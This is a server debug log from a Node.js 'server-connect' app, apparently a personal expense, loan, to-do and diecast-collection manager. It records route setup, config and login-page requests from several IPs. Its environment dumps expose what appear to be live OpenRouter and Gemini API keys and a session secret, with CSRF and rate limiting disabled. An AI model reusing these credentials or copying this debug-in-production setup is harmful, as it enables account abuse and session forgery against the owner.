2026-06-05T04:54:38.240Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T04:54:38.240Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T04:54:38.241Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T04:54:38.241Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T04:54:38.241Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T04:54:38.242Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T04:54:38.242Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T04:54:38.242Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T04:54:38.243Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T04:54:38.243Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T04:54:38.243Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T04:54:38.244Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T04:54:38.244Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T04:54:38.245Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T04:54:38.245Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T04:54:38.245Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T04:54:38.245Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T04:54:38.245Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T04:54:38.246Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T04:54:38.276Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T04:54:38.276Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T04:54:38.277Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T04:54:38.277Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T04:54:38.277Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T04:54:38.277Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T04:54:38.278Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T04:54:38.278Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T04:54:38.278Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T04:54:38.278Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T04:54:38.278Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T04:54:38.352Z server-connect:router Serving templateView /
2026-06-05T04:54:38.356Z server-connect:app Executing action step identify
2026-06-05T04:54:38.356Z server-connect:app options: { provider: 'security' }
2026-06-05T04:54:38.358Z server-connect:auth No login cookie found
2026-06-05T04:54:38.358Z server-connect:output identity: false
2026-06-05T04:54:38.358Z server-connect:app Executing action step restrict
2026-06-05T04:54:38.358Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T04:54:38.361Z server-connect:output restrict: undefined
2026-06-05T04:54:39.478Z server-connect:router Serving templateView /login
2026-06-05T04:54:39.478Z server-connect:app Executing action step identify
2026-06-05T04:54:39.478Z server-connect:app options: { provider: 'security' }
2026-06-05T04:54:39.479Z server-connect:auth No login cookie found
2026-06-05T04:54:39.479Z server-connect:output identity: false
2026-06-05T04:54:39.479Z server-connect:router Render template layouts/authentication
2026-06-05T04:54:39.479Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '217.76.61.106',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T04:54:39.476Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '217.76.61.106',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '217.76.61.106',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T04:57:11.450Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T04:57:11.623Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T04:57:11.704Z server-connect:setup:upload Upload middleware configured.
2026-06-05T04:57:11.704Z server-connect:secure CSRF Protection initialized
2026-06-05T04:57:11.706Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T04:57:11.708Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T04:57:11.708Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T04:57:11.709Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T04:57:11.709Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T04:57:11.710Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T04:57:11.711Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T04:57:11.712Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T04:57:11.714Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T04:57:11.715Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T04:57:11.715Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T04:57:11.715Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T04:57:11.716Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T04:57:11.716Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T04:57:11.716Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T04:57:11.717Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T04:57:11.717Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T04:57:11.717Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T04:57:11.717Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T04:57:11.718Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T04:57:11.718Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T04:57:11.718Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T04:57:11.719Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T04:57:11.719Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T04:57:11.719Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T04:57:11.719Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T04:57:11.720Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T04:57:11.720Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T04:57:11.720Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T04:57:11.720Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T04:57:11.720Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T04:57:11.721Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T04:57:11.721Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T04:57:11.721Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T04:57:11.721Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T04:57:11.721Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T04:57:11.722Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T04:57:11.722Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T04:57:11.827Z server-connect:router Serving templateView /
2026-06-05T04:57:11.831Z server-connect:app Executing action step identify
2026-06-05T04:57:11.831Z server-connect:app options: { provider: 'security' }
2026-06-05T04:57:11.833Z server-connect:auth No login cookie found
2026-06-05T04:57:11.833Z server-connect:output identity: false
2026-06-05T04:57:11.833Z server-connect:app Executing action step restrict
2026-06-05T04:57:11.833Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T04:57:11.836Z server-connect:output restrict: undefined
2026-06-05T04:57:13.291Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T04:57:13.446Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T04:57:13.536Z server-connect:setup:upload Upload middleware configured.
2026-06-05T04:57:13.536Z server-connect:secure CSRF Protection initialized
2026-06-05T04:57:13.538Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T04:57:13.540Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T04:57:13.540Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T04:57:13.541Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T04:57:13.541Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T04:57:13.542Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T04:57:13.543Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T04:57:13.543Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T04:57:13.546Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T04:57:13.547Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T04:57:13.547Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T04:57:13.547Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T04:57:13.548Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T04:57:13.548Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T04:57:13.548Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T04:57:13.549Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T04:57:13.549Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T04:57:13.550Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T04:57:13.576Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T04:57:13.577Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T04:57:13.577Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T04:57:13.577Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T04:57:13.578Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T04:57:13.578Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T04:57:13.578Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T04:57:13.578Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T04:57:13.578Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T04:57:13.579Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T04:57:13.579Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T04:57:13.579Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T04:57:13.579Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T04:57:13.579Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T04:57:13.580Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T04:57:13.580Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T04:57:13.580Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T04:57:13.580Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T04:57:13.580Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T04:57:13.581Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T04:57:13.650Z server-connect:router Serving templateView /login
2026-06-05T04:57:13.654Z server-connect:app Executing action step identify
2026-06-05T04:57:13.654Z server-connect:app options: { provider: 'security' }
2026-06-05T04:57:13.656Z server-connect:auth No login cookie found
2026-06-05T04:57:13.656Z server-connect:output identity: false
2026-06-05T04:57:13.656Z server-connect:router Render template layouts/authentication
2026-06-05T04:57:13.657Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '164.68.99.2',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T04:57:13.647Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '164.68.99.2',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '164.68.99.2',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T05:04:33.486Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T05:04:33.647Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T05:04:33.737Z server-connect:setup:upload Upload middleware configured.
2026-06-05T05:04:33.737Z server-connect:secure CSRF Protection initialized
2026-06-05T05:04:33.739Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T05:04:33.741Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T05:04:33.742Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T05:04:33.742Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T05:04:33.743Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T05:04:33.743Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T05:04:33.744Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T05:04:33.745Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T05:04:33.747Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T05:04:33.748Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T05:04:33.748Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T05:04:33.748Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T05:04:33.749Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T05:04:33.776Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T05:04:33.777Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T05:04:33.777Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T05:04:33.777Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T05:04:33.778Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T05:04:33.778Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T05:04:33.778Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T05:04:33.779Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T05:04:33.779Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T05:04:33.779Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T05:04:33.779Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T05:04:33.780Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T05:04:33.780Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T05:04:33.780Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T05:04:33.780Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T05:04:33.781Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T05:04:33.781Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T05:04:33.781Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T05:04:33.781Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T05:04:33.781Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T05:04:33.782Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T05:04:33.782Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T05:04:33.782Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T05:04:33.782Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T05:04:33.782Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T05:04:33.852Z server-connect:router Serving templateView /
2026-06-05T05:04:33.857Z server-connect:app Executing action step identify
2026-06-05T05:04:33.857Z server-connect:app options: { provider: 'security' }
2026-06-05T05:04:33.859Z server-connect:auth No login cookie found
2026-06-05T05:04:33.859Z server-connect:output identity: false
2026-06-05T05:04:33.859Z server-connect:app Executing action step restrict
2026-06-05T05:04:33.859Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T05:04:33.877Z server-connect:output restrict: undefined
2026-06-05T05:04:34.753Z server-connect:router Serving templateView /login
2026-06-05T05:04:34.754Z server-connect:app Executing action step identify
2026-06-05T05:04:34.754Z server-connect:app options: { provider: 'security' }
2026-06-05T05:04:34.754Z server-connect:auth No login cookie found
2026-06-05T05:04:34.754Z server-connect:output identity: false
2026-06-05T05:04:34.754Z server-connect:router Render template layouts/authentication
2026-06-05T05:04:34.755Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '75.119.156.44',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T05:04:34.751Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '75.119.156.44',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '75.119.156.44',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
